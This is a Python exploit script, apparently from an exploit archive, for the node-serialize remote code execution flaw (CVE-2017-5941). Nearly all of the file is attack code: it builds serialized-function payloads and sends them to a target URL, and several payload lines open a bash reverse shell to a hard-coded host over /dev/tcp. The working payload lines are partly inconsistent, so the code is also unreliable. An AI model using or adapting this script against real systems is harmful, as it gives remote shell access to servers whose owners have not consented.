48 lines
2.1 KiB
Python
48 lines
2.1 KiB
Python
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
|
|
# Exploit Author: UndeadLarva
|
|
# Software Link: https://www.npmjs.com/package/node-serialize
|
|
# Version: 0.0.4
|
|
# CVE: CVE-2017-5941
|
|
|
|
import requests
|
|
import re
|
|
import base64
|
|
import sys
|
|
|
|
url = 'http://10.10.216.3/' # change this
|
|
|
|
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
|
|
"return function () {"
|
|
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
|
|
"console.log('still inside');"
|
|
"const { exec } = require('child_process');"
|
|
"exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1');" # change this
|
|
"}"
|
|
"})(require('http').ServerResponse.prototype.end)")
|
|
|
|
# rce = "_$$ND_FUNC$$_process.exit(0)"
|
|
#code ="_$$ND_FUNC$$_console.log('behind you')"
|
|
#code = "_$$ND_FUNC$$_" + "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"
|
|
#code = "_$$ND_FUNC$$_" + payload
|
|
|
|
code = "_$$ND_FUNC$$_console.log(1)()"
|
|
#code = "_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });()"
|
|
#string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
|
|
#code = "return function(){exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1')}();" # change this
|
|
code = "return function(){exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1')}();"
|
|
string = '{"email": "'+code+'"}'
|
|
|
|
print code
|
|
|
|
cookie = {'session':base64.b64encode(string)}
|
|
|
|
response = requests.post(url+"?email="+code).text
|
|
print response
|
|
|
|
#try:
|
|
# response = requests.get(url, cookies=cookie).text
|
|
# print response
|
|
#except requests.exceptions.RequestException as e:
|
|
# print('Oops!')
|
|
# sys.exit(1)
|